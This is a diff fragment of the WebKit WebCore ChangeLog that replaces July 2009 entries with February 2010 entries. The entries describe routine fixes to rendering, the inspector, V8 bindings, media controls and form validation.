+        (WebCore::InspectorController::startUserInitiatedProfiling):
+        (WebCore::InspectorController::stopUserInitiatedProfiling):
+        (WebCore::InspectorController::enableDebugger):
+        (WebCore::InspectorController::specialPanelForJSName):
+        * inspector/InspectorController.h:
+        (WebCore::InspectorController::searchingForNodeInPage):
+        * page/Console.cpp:
+        (WebCore::Console::profile):
+        (WebCore::Console::profileEnd):
+        * page/Console.h:
         (WebCore::):
-        (WebCore::RenderThemeMac::paintMediaFullscreenButton):
-        (WebCore::RenderThemeMac::paintMediaMuteButton):
-        (WebCore::RenderThemeMac::paintMediaPlayButton):
-        (WebCore::RenderThemeMac::paintMediaSeekBackButton):
-        (WebCore::RenderThemeMac::paintMediaSeekForwardButton):
-        (WebCore::RenderThemeMac::paintMediaSliderTrack):
-        (WebCore::RenderThemeMac::paintMediaSliderThumb):
-        (WebCore::RenderThemeMac::paintMediaRewindButton):
-        (WebCore::RenderThemeMac::paintMediaReturnToRealtimeButton):
-        (WebCore::RenderThemeMac::paintMediaControlsBackground):
-        (WebCore::RenderThemeMac::paintMediaCurrentTime):
-        (WebCore::RenderThemeMac::paintMediaTimeRemaining):
-            The 'state' parameter to wkDrawMediaUIPart is now an unsigned bitfield.
-
-2009-07-06  David Kilzer  <ddkilzer@apple.com>
-
-        Bug 27000: Minor clean up to runtime_root.{cpp|h}
-
-        <https://bugs.webkit.org/show_bug.cgi?id=27000>
-
-        Reviewed by Geoff Garen.
-
-        * bridge/runtime_root.cpp: Added blank line between license and
-        the first #include statement.
-        * bridge/runtime_root.h: Added comment to #endif.
-
-2009-07-06  Roland Steiner  <rolandsteiner@google.com>
-
-        Reviewed by Maciej Stachowiak.
-
-        generalize the special height treatment for SVG (to be re-used for ruby):
-            renamed InlineBox::m_isSVG to m_hasVirtualHeight
-            renamed InlineBox::isSVG() to hasVirtualHeight()
-            renamed InlineBox::setIsSVG() to setHasVirtualHeight()
-
-        * rendering/InlineBox.cpp:
-        (WebCore::InlineBox::height):
-        * rendering/InlineBox.h:
-        (WebCore::InlineBox::InlineBox):
-        (WebCore::InlineBox::isText):
-        (WebCore::InlineBox::setIsText):
-        (WebCore::InlineBox::isSVGRootInlineBox):
-        (WebCore::InlineBox::hasVirtualHeight):
-        (WebCore::InlineBox::setHasVirtualHeight):
-        (WebCore::InlineBox::virtualHeight):
-        * rendering/RenderSVGInline.cpp:
-        (WebCore::RenderSVGInline::createFlowBox):
-        * rendering/RenderSVGInlineText.cpp:
-        (WebCore::RenderSVGInlineText::createTextBox):
-        * rendering/RenderSVGText.cpp:
-        (WebCore::RenderSVGText::createRootBox):
-        * rendering/SVGInlineFlowBox.h:
-        (WebCore::SVGInlineFlowBox::virtualHeight):
-        * rendering/SVGInlineTextBox.h:
-        (WebCore::SVGInlineTextBox::virtualHeight):
-        * rendering/SVGRootInlineBox.h:
-        (WebCore::SVGRootInlineBox::virtualHeight):
-
-2009-07-06  Alice Liu  <alice.liu@apple.com>
-
-        Reviewed by Darin Adler.
-
-        REGRESSION(r45285): focus rings are black on windows safari
-        https://bugs.webkit.org/show_bug.cgi?id=26821
-        <rdar://problem/7018252>
-
-        Add a mechanism for setting a custom focus ring color, and relocate the 
-        determination of focus ring color to base class RenderTheme.
-
-        No new tests.  Already-existing tests run in pixel mode would have caught this regression
-
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::getColorFromPrimitiveValue): Move the responsibility
-        of determining focus color to base class RenderTheme.
-        * rendering/RenderTheme.cpp:
-        (WebCore::customFocusRingColor): Added static local.
-        (WebCore::RenderTheme::setCustomFocusRingColor): Added
-        (WebCore::RenderTheme::focusRingColor): Use custom color over platform color.
-        * rendering/RenderTheme.h:
-        (WebCore::RenderTheme::platformFocusRingColor): default implementation, black color
-        * rendering/RenderThemeSafari.cpp:
-        (WebCore::RenderTheme::themeForPage): Circumstances that lead to returning the RenderThemeWin
-        are the same under which we want to use the focus ring color from SafariTheme.
-        (WebCore::RenderThemeSafari::platformFocusRingColor): Renamed from focusRingColor
-        * rendering/RenderThemeSafari.h:
-
-        Renaming focusRingColor to platformFocusRingColor in these files:
-        * rendering/RenderThemeChromiumMac.h:
-        * rendering/RenderThemeChromiumMac.mm:
-        (WebCore::RenderThemeChromiumMac::platformFocusRingColor):
-        * rendering/RenderThemeChromiumSkia.cpp:
-        (WebCore::RenderThemeChromiumSkia::platformFocusRingColor):
-        * rendering/RenderThemeChromiumSkia.h:
-        * rendering/RenderThemeMac.h:
-        * rendering/RenderThemeMac.mm:
-        (WebCore::RenderThemeMac::platformFocusRingColor):
-
-        Cleanup leftover from removal of WebCore::Color in r45285 in these files:
-        * WebCore.order:
-        * platform/graphics/Color.h:
-
-2009-07-06  Shinichiro Hamaji  <hamaji@chromium.org>
-
-        Reviewed by David Hyatt.
-
-        Bug 15135: REGRESSION (r19843-r19850): Changing a flexbox's
-        contents makes its container scroll to the top
-        https://bugs.webkit.org/show_bug.cgi?id=15135
-
-        Delay updateing scroll bar of descendants of flexbox until their
-        positions are determined.  In this way we can prevent descendants
-        of flexible boxes from changing positions of their scrollbars
-        using tentative positions.
-
-        Test: fast/flexbox/repaint-scrollbar.html
-
-        * rendering/RenderBlock.cpp:
-        (WebCore::RenderBlock::startDelayUpdateScrollInfo):
-        (WebCore::RenderBlock::finishDelayUpdateScrollInfo):
-        (WebCore::RenderBlock::updateScrollInfoAfterLayout):
-        (WebCore::RenderBlock::layoutBlock):
-        (WebCore::RenderBlock::layoutOnlyPositionedObjects):
-        * rendering/RenderBlock.h:
-        * rendering/RenderFlexibleBox.cpp:
-        (WebCore::RenderFlexibleBox::layoutHorizontalBox):
-        (WebCore::RenderFlexibleBox::layoutVerticalBox):
-
-2009-07-06  Hironori Bono  <hbono@chromium.org>
-
-        Reviewed by Maciej Stachowiak.
-
-        Make unconfirmed IME text affect textarea's value.
-        This matches input and contentEditable elements as well
-        IE and Firefox.
-
-        This fixes https://bugs.webkit.org/show_bug.cgi?id=25061.
-
-        Input elements would go down this code path because it
-        would always get a null compositionNode from frame->editor().
-        Special casing compositionNodes is wrong because we explicitly
-        want unconfirmed IME input in the textarea's value (assuming we
-        want to match IE and Firefox here).
-
-        This change is originally created by Ojan Vafai <ojan@chromium.org> and
-        I just changed its manual tests with an automated test on his behalf.
-
-        Test: platform/mac/editing/input/text-control-ime-input.html
-
-        * rendering/RenderTextControl.cpp:
-        (WebCore::RenderTextControl::text):
-        (WebCore::RenderTextControl::textWithHardLineBreaks):
-
-2009-07-06  Anders Carlsson  <andersca@apple.com>
-
-        Reviewed by Adele Peterson.
-
-        Add the ability for wheel events to latch to a node.
-        
-        * WebCore.base.exp:
-        * page/EventHandler.cpp:
-        (WebCore::EventHandler::EventHandler):
-        (WebCore::EventHandler::clear):
-        (WebCore::EventHandler::handleWheelEvent):
-        * page/EventHandler.h:
-        * page/mac/EventHandlerMac.mm:
-        (WebCore::EventHandler::wheelEvent):
-        * platform/mac/WebCoreSystemInterface.h:
-        * platform/mac/WebCoreSystemInterface.mm:
-
-2009-07-06  Nate Chapin  <japhet@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Fix a bunch of layout test crahses in Chromium caused by a bad usage of DEFINE_STATIC_LOCAL.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26997
-
-        * bindings/v8/V8Binding.cpp:
-        (WebCore::v8ValueToWebCoreString): Use a regular static declaration instead of DEFINE_STATIC_LOCAL.
-
-2009-07-06  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        WebInspector: suggest global properties based on async evaluation.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26976
-
-        Before this change, empty string was evaluated to the global object
-        (or scope chain object) synchronously. This is now fixed and global
-        object is evaluated using the same control flow.
-
-        * inspector/front-end/Console.js:
-        (WebInspector.Console.prototype.completions):
-        (WebInspector.Console.prototype._evalInInspectedWindow):
-        * inspector/front-end/ScriptsPanel.js:
-        (WebInspector.ScriptsPanel.prototype._variablesInScope):
-
-2009-07-06  Ojan Vafai  <ojan@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        Fix crash when indenting in an empty table cell.
-        https://bugs.webkit.org/show_bug.cgi?id=26872
-
-        The crash is that we would call splitTreeToNode where the node
-        and the nodeToSplitTo were the same node.
-
-        Test: editing/execCommand/indent-empty-table-cell.html
-
-        * editing/CompositeEditCommand.cpp:
-        (WebCore::CompositeEditCommand::splitTreeToNode):
-        Added an assert in that node and nodeToSplitTo
-        are different nodes to make this assumption explicit.
-
-        * editing/IndentOutdentCommand.cpp:
-        (WebCore::IndentOutdentCommand::isAtUnsplittableElement):
-        (WebCore::IndentOutdentCommand::indentRegion):
-        * editing/IndentOutdentCommand.h:
-
-2009-07-06  Nate Chapin  <japhet@chromium.org>
-
-        Reviewed by David Levin.
-
-        Upstream V8Binding and update some function names.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26857
-
-        * bindings/scripts/CodeGeneratorV8.pm: Update function names in auto-generated files.
-        * bindings/v8/V8Binding.cpp: Upstreamed from src.chromium.org.
-        * bindings/v8/V8Binding.h: Upstreamed from src.chromium.org.
-        * bindings/v8/V8LazyEventListener.cpp:
-        (WebCore::V8LazyEventListener::getListenerFunction):
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::handleConsoleMessage):
-        (WebCore::V8Proxy::compileScript):
-        (WebCore::V8Proxy::sourceName):
-        * bindings/v8/WorkerContextExecutionProxy.cpp:
-        (WebCore::handleConsoleMessage):
-        * bindings/v8/custom/V8CSSStyleDeclarationCustom.cpp:
-        (WebCore::NAMED_PROPERTY_SETTER):
-        * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8CustomXPathNSResolver.cpp:
-        (WebCore::V8CustomXPathNSResolver::lookupNamespaceURI):
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLIFrameElementCustom.cpp:
-        (WebCore::ACCESSOR_SETTER):
-        * bindings/v8/custom/V8HTMLOptionsCollectionCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8HTMLSelectElementCustom.cpp:
-        (WebCore::removeElement):
-        * bindings/v8/custom/V8SQLTransactionCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8WorkerContextCustom.cpp:
-        (WebCore::SetTimeoutOrInterval):
-        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-
-2009-07-06  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
-
-        Reviewed by Jan Alonzo.
+        (WebCore::Console::create):
+        (WebCore::Console::profiles):
+        * page/Console.idl:
 
-        Use soup's content sniffing
-        https://bugs.webkit.org/show_bug.cgi?id=26982
-
-        Drop our hackish content sniffing code, and use the new libsoup
-        feature to do that job for us.
-
-        Testing this is in a cross-platform way is not obvious or possible
-        while we are using platform-specific code for sniffing.
-
-        * platform/network/ResourceHandleInternal.h:
-        (WebCore::ResourceHandleInternal::ResourceHandleInternal):
-        * platform/network/soup/ResourceHandleSoup.cpp:
-        (WebCore::gotHeadersCallback):
-        (WebCore::contentSniffedCallback):
-        (WebCore::gotChunkCallback):
-        (WebCore::ResourceHandle::startHttp):
-
-2009-07-05  Antonio Gomes  <antonio.gomes@openbossa.org>
+2010-02-02  Kent Tamura  <tkent@chromium.org>
 
         Reviewed by Darin Adler.
 
-        REGRESSION (r40499): fast/dom/cssTarget-crash.html fails
-        https://bugs.webkit.org/show_bug.cgi?id=20342
-
-        Re-added code removed by commit r40499.
-        Without this, both Qt and Mac were crashing while running the test.
-
-        Note that this does not entirely fix the bug. It fixes the WebCore
-        crash, but the test no longer seems to work due to loader changes.
-        So this patch does not reenable the test. The test probably has to
-        be rewritten.
-
-        * dom/ContainerNode.cpp:
-        (WebCore::ContainerNode::removedFromDocument): Re-added code to
-        set the CSS target of the document to 0.
-
-2009-07-05  Chris Marrin  <cmarrin@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26943
-
-        When one transition finishes slightly before another the longer
-        one will fire a second time. This is because the second
-        ImplicitAnmation object is culled too early, before its final
-        RenderStyle is in place. This is done by cleanupFinishedAnimations()
-        so I got rid of that method completely and now cleanup each
-        transition or animation at the point where I am setting the final
-        style, or when I detect that the transition or animation has been
-        terminated early (which happens when you remove it from the style).
-
-        Test: transitions/extra-transition.html
-
-        * page/animation/AnimationController.cpp:
-        (WebCore::AnimationControllerPrivate::updateStyleIfNeededDispatcherFired):
-        * page/animation/CompositeAnimation.cpp:
-        (WebCore::CompositeAnimation::updateTransitions):
-        (WebCore::CompositeAnimation::updateKeyframeAnimations):
-        (WebCore::CompositeAnimation::animate):
-        * page/animation/CompositeAnimation.h:
-
-        * page/animation/AnimationBase.cpp:
-        (WebCore::AnimationBase::getTimeToNextEvent):
-        Avoid a divide by zero if m_animation->duration() is zero, which can happen
-        if the duration is changed to zero while the animation is running.
-
-2009-07-05  Simon Fraser  <simon.fraser@apple.com>
-
-        Revert the previous commit because it broke the
-        animations/transition-and-animation-1.html
-        testcase.
-
-        * page/animation/AnimationBase.cpp:
-        (WebCore::AnimationBase::getTimeToNextEvent):
-        * page/animation/AnimationController.cpp:
-        (WebCore::AnimationControllerPrivate::updateStyleIfNeededDispatcherFired):
-        * page/animation/CompositeAnimation.cpp:
-        (WebCore::CompositeAnimation::updateTransitions):
-        (WebCore::CompositeAnimation::updateKeyframeAnimations):
-        (WebCore::CompositeAnimation::animate):
-        (WebCore::CompositeAnimation::cleanupFinishedAnimations):
-        * page/animation/CompositeAnimation.h:
-
-2009-07-05  Chris Marrin  <cmarrin@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26943
-
-        When one transition finishes slightly before another the longer
-        one will fire a second time. This is because the second 
-        ImplicitAnmation object is culled too early, before its final
-        RenderStyle is in place. This is done by cleanupFinishedAnimations()
-        so I got rid of that method completely and now cleanup each 
-        transition or animation at the point where I am setting the final
-        style, or when I detect that the transition or animation has been
-        terminated early (which happens when you remove it from the style).
-
-        Test: transitions/extra-transition.html
-
-        * page/animation/AnimationController.cpp:
-        (WebCore::AnimationControllerPrivate::updateStyleIfNeededDispatcherFired):
-        * page/animation/CompositeAnimation.cpp:
-        (WebCore::CompositeAnimation::updateTransitions):
-        (WebCore::CompositeAnimation::updateKeyframeAnimations):
-        (WebCore::CompositeAnimation::animate):
-        * page/animation/CompositeAnimation.h:
-
-        * page/animation/AnimationBase.cpp:
-        (WebCore::AnimationBase::getTimeToNextEvent):
-        Avoid a divide by zero if m_animation->duration() is zero, which can happen
-        if the duration is changed to zero while the animation is running.
-
-2009-07-05  Lars Knoll  <lars.knoll@nokia.com>
-
-        Reviewed by Maciej Stachowiak.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26843
-
-        Fix run-time crashes in JavaScriptCore with the Metrowerks compiler on Symbian.
-
-        The Metrowerks compiler on the Symbian platform moves the globally
-        defined Hashtables into read-only memory, despite one of the members
-        being mutable. This causes crashes at run-time due to write access to
-        read-only memory.
-
-        Avoid the use of const with this compiler by introducing the
-        JSC_CONST_HASHTABLE macro.
-
-        Based on idea by Norbert Leser.
-
-        * bindings/scripts/CodeGeneratorJS.pm: Use JSC_CONST_HASHTABLE for hash tables
-        define in the bindings.
-
-2009-07-05  Rob Buis  <rwlbuis@gmail.com>
-
-        Reviewed by Maciej Stachowiak.
-
-        Bug 26897 - Dynamic SVG images do not display correctly
-        https://bugs.webkit.org/show_bug.cgi?id=26897
-
-        Use repaint() to fix a rendering problem with a SVG image embedded in xhtml.
-
-        Test: svg/custom/createImageElement2.xhtml
-
-        * rendering/RenderSVGImage.cpp:
-        (WebCore::RenderSVGImage::imageChanged):
-
-2009-07-05  Xan Lopez  <xlopez@igalia.com>
-
-        Reviewed by Jan Alonzo.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26960
-        [Gtk] caret offset not updated when selecting text
-
-        Report the caret offset from the end of the selection so it works
-        correctly for multi-char selections too (ie, anything that is not
-        the zero width caret).
+        Fix a bug that changes for some constraint attributes doesn't
+        update validation CSS selectors.
+        https://bugs.webkit.org/show_bug.cgi?id=31716
 
-        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-        (webkit_accessible_text_get_caret_offset):
-
-2009-07-05  Holger Hans Peter Freyther  <zecke@selfish.org>
-
-        Unreviewed link fix for Qt.
-
-        Fix Qt link error by adding two new localized strings
-
-        In r45474 two new strings got added to LocalizedStrings.h add
-        the definition of them to Qt.
+        - Rename HTMLFormControlElement::updateValidity() to setNeedsValidityCheck()
+        - Introduce HTMLFormControlElement::setNeedsWillValidate()
+        - Introduce HTMLFormControlElement::m_hasName to make willValidate()
+          work in parseMappedAttribute().
+        - We need to call setNeedsValidityCheck() when HTMLInputElement::step or
+          HTMLTextAreaElement::maxLength is changed.
 
-        * platform/qt/Localizations.cpp:
-        (WebCore::mediaElementLoadingStateText):
-        (WebCore::mediaElementLiveBroadcastStateText):
+        * html/HTMLFormControlElement.cpp:
+        (WebCore::HTMLFormControlElement::HTMLFormControlElement):
+        (WebCore::HTMLFormControlElement::parseMappedAttribute):
+        (WebCore::HTMLFormControlElement::insertedIntoTree):
+        (WebCore::HTMLFormControlElement::removedFromTree):
+        (WebCore::HTMLFormControlElement::formDestroyed):
+        (WebCore::HTMLFormControlElement::willValidate): Avoids function calls.
+        (WebCore::HTMLFormControlElement::setNeedsWillValidateCheck):
+        (WebCore::HTMLFormControlElement::setNeedsValidityCheck):
+        * html/HTMLFormControlElement.h:
+        (WebCore::HTMLFormControlElement::disabled): Move the code from .cpp.
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::setInputType):
+        (WebCore::HTMLInputElement::parseMappedAttribute):
+        (WebCore::HTMLInputElement::setValue):
+        (WebCore::HTMLInputElement::setValueFromRenderer):
+        (WebCore::HTMLInputElement::setFileListFromRenderer):
+        * html/HTMLTextAreaElement.cpp:
+        (WebCore::HTMLTextAreaElement::parseMappedAttribute):
+        (WebCore::HTMLTextAreaElement::setValue):
+        * rendering/RenderTextControlMultiLine.cpp:
+        (WebCore::RenderTextControlMultiLine::subtreeHasChanged):
 
-2009-07-03  Darin Adler  <darin@apple.com>
+2010-02-02  Roland Steiner  <rolandsteiner@chromium.org>
 
         Reviewed by Adele Peterson.
 
-        REGRESSION (r44670-r44680): Typing is suprisingly slow in password field on reddit.com
-        https://bugs.webkit.org/show_bug.cgi?id=26959
-        rdar://problem/7029882
-
-        The code to handle iteration boundaries was malfunctioning when the boundary was
-        at the edge of a shadow tree. This happens all the time with <input> elements.
-
-        It's not immediately obvious how to make a regression test for this since the
-        symptom was a performance problem, not incorrect behavior. I'll add a test if I
-        figure out a way to make one.
-
-        * editing/TextIterator.cpp:
-        (WebCore::parentCrossingShadowBoundaries): Renamed from parentOrShadowParent.
-        (WebCore::depthCrossingShadowBoundaries): Updated for name change.
-        (WebCore::nextInPreOrderCrossingShadowBoundaries): Added.
-        (WebCore::previousInPostOrderCrossingShadowBoundaries): Added.
-        (WebCore::setUpFullyClippedStack): Updated for name change.
-        (WebCore::TextIterator::TextIterator): Updated for name change. Use
-        nextInPreOrderCrossingShadowBoundaries instead of Range::pastLastNode to fix the bug.
-        (WebCore::TextIterator::advance): Updated for name change.
-        (WebCore::SimplifiedBackwardsTextIterator::SimplifiedBackwardsTextIterator):
-        Tweaked formatting.
-        (WebCore::SimplifiedBackwardsTextIterator::advance): Ditto. Changed code that
-        initializes m_pastStartNode to use previousInPostOrderCrossingShadowBoundaries.
-        (WebCore::SimplifiedBackwardsTextIterator::handleNonTextNode): Tweaked formatting.
-        (WebCore::SimplifiedBackwardsTextIterator::exitNode): Ditto.
-
-2009-07-03  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        Background audio stops playing when JS GC runs
-        https://bugs.webkit.org/show_bug.cgi?id=26956
-        
-        Ensure we keep the Audio object around while it is playing, so that it
-        doesn't get collected.
-        
-        Not testable because there's no way to know whether the audio keeps
-        playing without holding a reference to it.
-
-        * bindings/js/JSDOMBinding.cpp:
-        (WebCore::isObservableThroughDOM):
-
-2009-07-02  Xan Lopez  <xlopez@igalia.com>
-
-        Reviewed by Jan Alonzo.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26814
-        [Gtk] Caret-moved events are not issued for the correct offset
-        when text is selected forward
-
-        Report the caret offset from the end of the selection, otherwise
-        we'll report the same offset when moving the caret while
-        modififying the selection (eg, with Shift Right).
-
-        * editing/gtk/SelectionControllerGtk.cpp:
-        (WebCore::SelectionController::notifyAccessibilityForSelectionChange):
-
-2009-07-02  Xan Lopez  <xlopez@igalia.com>
-
-        Reviewed by Jan Alonzo.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26815
-        [Gtk] text-selection-changed events are not issued for the correct
-        object when the selection spans multiple objects
-
-        Get the focused node from the end of the selection, not the start,
-        so we can detect when we cross object boundaries.
-
-        * editing/gtk/SelectionControllerGtk.cpp:
-        (WebCore::SelectionController::notifyAccessibilityForSelectionChange):
-
-2009-07-02  Pierre d'Herbemont  <pdherbemont@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26947
-
-        Fix the media controls hit tests. They may lose click events.
-
-        Test cases already covered in the video-controls-zoomed tests.
-
-        Don't trust wkHitTestMediaUIPart for the tests. We are accurate enough.
-
-        * rendering/RenderThemeMac.h: Remove hitTestMediaControlPart.
-        * rendering/RenderThemeMac.mm: Remove hitTestMediaControlPart.
-
-2009-07-02  Roland Steiner  <rolandsteiner@google.com>
-
-        Reviewed by Eric Seidel.
-
-        RenderBlock and RenderInline have confusingly named object creation methods:
-        RenderBlock::createRootBox/createRootInlineBox
-        RenderInline::createFlowBox/createInlineFlowBox
-        where the 2nd method in both cases just calls the first and then appends the created object.
-        I therefore renamed those methods to something IMHO more informative:
-        
-        createRootBox()         -> createRootInlineBox()
-        createRootInlineBox()   -> createAndAppendRootInlineBox();
-        createFlowBox()         -> createInlineFlowBox();
-        createInlineFlowBox()   -> createAndAppendInlineFlowBox();
-
-        https://bugs.webkit.org/show_bug.cgi?id=26828
-
-        * rendering/RenderBlock.cpp:
-        (WebCore::RenderBlock::createRootInlineBox):
-        (WebCore::RenderBlock::createAndAppendRootInlineBox):
-        * rendering/RenderBlock.h:
-        * rendering/RenderInline.cpp:
-        (WebCore::RenderInline::createInlineFlowBox):
-        (WebCore::RenderInline::createAndAppendInlineFlowBox):
-        * rendering/RenderInline.h:
-        * rendering/RenderSVGInline.cpp:
-        (WebCore::RenderSVGInline::createInlineFlowBox):
-        * rendering/RenderSVGInline.h:
-        * rendering/RenderSVGText.cpp:
-        (WebCore::RenderSVGText::createRootInlineBox):
-        * rendering/RenderSVGText.h:
-        * rendering/bidi.cpp:
-        (WebCore::createInlineBoxForRenderer):
-
-2009-07-02  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        WebInspector: Fix typo in the resource panel enabler caption.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26753
-
-        * English.lproj/localizedStrings.js:
-        * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourcesPanel):
-
-2009-07-02  Erik Arvidsson  <arv@chromium.org>
-
-        Reviewed by Adam Roben.
-
-        [Win] HTML5 Drag and drop, dragend is not fired when pressing Esc
-        https://bugs.webkit.org/show_bug.cgi?id=26699
-
-        * manual-tests/drag-escape.html: Added.
-        * page/EventHandler.cpp:
-        (WebCore::EventHandler::dragSourceEndedAt):
-
-2009-07-02  Pierre d'Herbemont  <pdherbemont@apple.com>
-
-        Reviewed by Simon Fraser. 
-        
-        https://bugs.webkit.org/show_bug.cgi?id=26944
-
-        Make sure we support full page zoom in video controls.
-
-        This is tracked by a the video-controls-zoom test case.
-
-        * css/mediaControlsQT.css: Make sure we don't have any inherited margin.
-        * rendering/MediaControlElements.cpp:
-        (WebCore::MediaControlElement::updateStyle): Propagate the style to the innertext.
-        * rendering/RenderThemeMac.mm: Adjust the painting rect.
-        (WebCore::getUnzoomedRectAndAdjustCurrentContext):
-        (WebCore::RenderThemeMac::paintMediaSliderTrack):
-        (WebCore::RenderThemeMac::paintMediaCurrentTime):
-        (WebCore::RenderThemeMac::paintMediaTimeRemaining):
-
-2009-07-02  Pierre d'Herbemont  <pdherbemont@apple.com>
-
-        Fix the Gtk build after r45474. The localized strings should
-        have been added there.
-
-        * platform/gtk/LocalizedStringsGtk.cpp:
-        (WebCore::mediaElementLoadingStateText):
-        (WebCore::mediaElementLiveBroadcastStateText):
-
-2009-07-02  Pierre d'Herbemont  <pdherbemont@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26939
-
-        Media controller is rendered badly at http://www.mozilla.com/en-US/firefox/video/firefox-3.5.html
-
-        We fix two things:
-        - We use px instead of em, because px is used everywhere else
-        and because 0.09em hit the font size limit.
-        - We use -webkit-box instead of inline-block because in strict mode
-        inline-block has a different behavior.
-
-        Test: media/controls-strict.html
-
-        * css/mediaControlsQT.css:
-
-2009-07-02  David Hyatt  <hyatt@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        TextIterator should use hasOverflowClip when checking for overflow instead of looking at the style.
-        https://bugs.webkit.org/show_bug.cgi?id=26942
-
-        * editing/TextIterator.cpp:
-        (WebCore::fullyClipsContents):
-
-2009-07-02  Sam Weinig  <sam@webkit.org>
-
-        Reviewed by Dave Hyatt.
-
-        Fix for <rdar://problem/5230700>
-        Remove local .xhtml file workaround
-
-        * platform/network/mac/ResourceResponseMac.mm:
-        (WebCore::ResourceResponse::platformLazyInit): Work around is no longer necessary.
-
-2009-07-02  Anders Carlsson  <andersca@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        Sort, add functions used by WebKit.
+        Bug 34198 -  Ruby text should not inherit line-height
+        (https://bugs.webkit.org/show_bug.cgi?id=34198)
         
-        * WebCore.base.exp:
-
-2009-07-02  Brady Eidson  <beidson@apple.com>
-
-        Rubberstamped by Sam Weinig.
-
-        More of <rdar://problem/6969425> Safari 4.0 doesn't recognize text/plain files if their extension is unknown.
-
-        * platform/network/mac/WebCoreURLResponse.mm:
-        (webNSURLResponseMIMEType): Give Tiger a chance to query the UTI machinery.
-
-2009-07-02  Adam Langley  <agl@google.com>
-
-        Reviewed by Eric Seidel.
-
-        Chromium Linux: fix complex text rendering with line break characters.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26935
-
-        If the CSS white-space property is inhibiting line breaking, we might
-        find end-of-line characters rendered via the complex text path. Fonts
-        don't provide glyphs for these code points so, if we find one, we
-        simulate the space glyph being interposed in this case.  Because the
-        input is variable-length per code point, we walk the input in step
-        with the output.
-
-        Covered by:
-            LayoutTests/fast/text/international/bidi-linebreak-002.html
-            LayoutTests/fast/text/international/bidi-linebreak-003.html
-            LayoutTests/fast/text/international/hindi-whitespace.html
-
-        * platform/graphics/chromium/HarfbuzzSkia.cpp:
-        (WebCore::stringToGlyphs):
-
-2009-07-02  Victor Wang  <victorw@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26521
-        Expose file size to chromium.
-
-        Implement getFileSize() for Chromium.
-
-        * platform/chromium/ChromiumBridge.h:
-        * platform/chromium/FileSystemChromium.cpp:
-        (WebCore::getFileSize):
-
-2009-07-02  Nate Chapin  <japhet@chromium.org>
-
-        Unreviewed, build fix.
-
-        * bindings/v8/V8SVGPODTypeWrapper.h: Lost a space in nested template argument list.
-
-2009-07-02  Simon Fraser  <simon.fraser@apple.com>
-
-        Build fix: add missing #include.
-
-        * platform/mac/ThemeMac.mm:
-
-2009-07-02  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dave Hyatt.
-
-        <rdar://problem/7028682> ThemeMac::paintRadio() throws Obj-C exceptions when zoomed
-
-        Add BEGIN_BLOCK_OBJC_EXCEPTIONS/END_BLOCK_OBJC_EXCEPTIONS guards around code
-        that can possibly throw Objective-C exceptions when drawing Mac form controls.
-
-        * platform/mac/ThemeMac.mm:
-        (WebCore::paintCheckbox):
-        (WebCore::paintRadio):
-        (WebCore::paintButton):
-        (WebCore::ThemeMac::inflateControlPaintRect):
-
-2009-07-02  Nate Chapin  <japhet@chromium.org>
-
-        Reviewed by David Levin.
-
-        Upstream V8SVGPODTypeWrapper.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26907
-
-        * bindings/scripts/CodeGeneratorV8.pm: Update function being renamed in V8SVGPODTypeWrapper.h.
-        * bindings/v8/V8SVGPODTypeWrapper.h: Upstreamed from src.chromium.org.
-
-2009-07-02  Dumitru Daniliuc  <dumi@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
+        Resetting line-height to 'normal' in the default UA style sheet.
+        Adding layout-test to check for this.
 
-        Adds an abstraction layer between the DB classes and the file
-        system, which allows us to add our own logic for storing, opening,
-        deleting, etc. databases.
-
-        The patch was tested using the tests in WebCore/storage.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26054
-
-        * GNUmakefile.am:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * platform/sql/SQLiteDatabase.cpp:
-        (WebCore::SQLiteDatabase::open): Delegating the job of opening DB files to SQLiteFileSystem to allow use of custom VFSs.
